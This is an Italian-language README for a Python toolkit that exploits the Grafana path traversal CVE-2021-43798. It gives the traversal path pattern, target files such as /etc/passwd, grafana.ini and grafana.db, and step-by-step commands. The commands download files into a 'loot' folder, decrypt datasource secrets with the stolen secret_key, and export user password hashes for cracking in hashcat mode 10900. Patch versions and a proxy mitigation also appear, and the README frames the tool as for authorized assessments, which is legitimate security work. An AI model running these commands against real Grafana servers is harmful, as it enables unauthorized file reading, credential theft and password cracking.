
Toolkit Python per test autorizzati del path traversal di Grafana CVE-2021-43798, con PoC di lettura arbitraria dei file, decriptazione dei segreti ed esportazione degli hash utente per valutazioni di sicurezza.
Toolkit Python per test autorizzati di CVE-2021-43798, una vulnerabilità di path traversal in Grafana che può consentire la lettura arbitraria di file senza autenticazione tramite i percorsi degli asset dei plugin.
Questo repository contiene:
grafana_poc.py: PoC interattivo di lettura arbitraria di file che salva i file scaricati localmente.grafana_pass_decryptor.py: helper per decifrare i segreti delle datasource criptate di Grafana quando grafana.ini e/o la secret_key sono disponibili, e per esportare gli hash delle password degli utenti Grafana da grafana.db.Usa questo progetto solo su sistemi di tua proprietà, che gestisci o per i quali hai un'esplicita autorizzazione scritta a testarli. Lo sfruttamento non autorizzato può esporre file sensibili, credenziali, chiavi private, contenuti del database e hash delle password degli utenti.
CVE-2021-43798 riguarda le versioni di Grafana dalla 8.0.0-beta1 alla 8.3.0. Le versioni corrette sono 8.3.1, 8.2.7, 8.1.8 e 8.0.7.
Il problema è raggiungibile tramite rotte degli asset dei plugin come:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
I file comunemente richiesti durante la validazione autorizzata includono:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
L'accesso dipende dai permessi del sistema operativo del processo Grafana.
requestspycryptodome o cryptography per la decifratura dei segretiInstalla le dipendenze:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Esegui il PoC interattivo contro un target autorizzato:
python3 grafana_poc.py -H http://target:3000 -o loot
Al prompt, inserisci i percorsi assoluti:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
I file scaricati vengono salvati nella directory di output preservando una versione sicura del percorso remoto, ad esempio:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
Se disponi sia di grafana.ini che di grafana.db, il decifratore può leggere la secret_key dal file di configurazione e tentare di decifrare i segreti criptati di datasource, notifiche di avviso e plugin:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Decifra manualmente un blob criptato:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Stampa JSON delimitato da nuove righe:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Le password degli utenti Grafana non sono segreti criptati. Sono hash PBKDF2 con sale. Esportali dalla tabella user:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Esporta solo le righe per la modalità hashcat 10900:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Aggiorna Grafana a una versione corretta:
8.3.1 o successiva per il ramo 8.38.2.7 o successiva per il ramo 8.28.1.8 o successiva per il ramo 8.18.0.7 o successiva per il ramo 8.0Se un aggiornamento immediato non è possibile, l'avviso di Grafana segnala che posizionare un reverse proxy di fronte a Grafana che normalizzi i percorsi delle richieste può mitigare il comportamento di traversal. Consideralo un controllo temporaneo, non un sostituto dell'applicazione della patch.
Il PoC pubblico originale è accreditato a s1gh su Exploit-DB. Il flusso di decifratura dei segreti di Grafana è ispirato a ricerche pubbliche ed esempi di jas502n/Grafana-CVE-2021-43798, con questo repository che fornisce un helper Python per laboratori e flussi di valutazione autorizzati.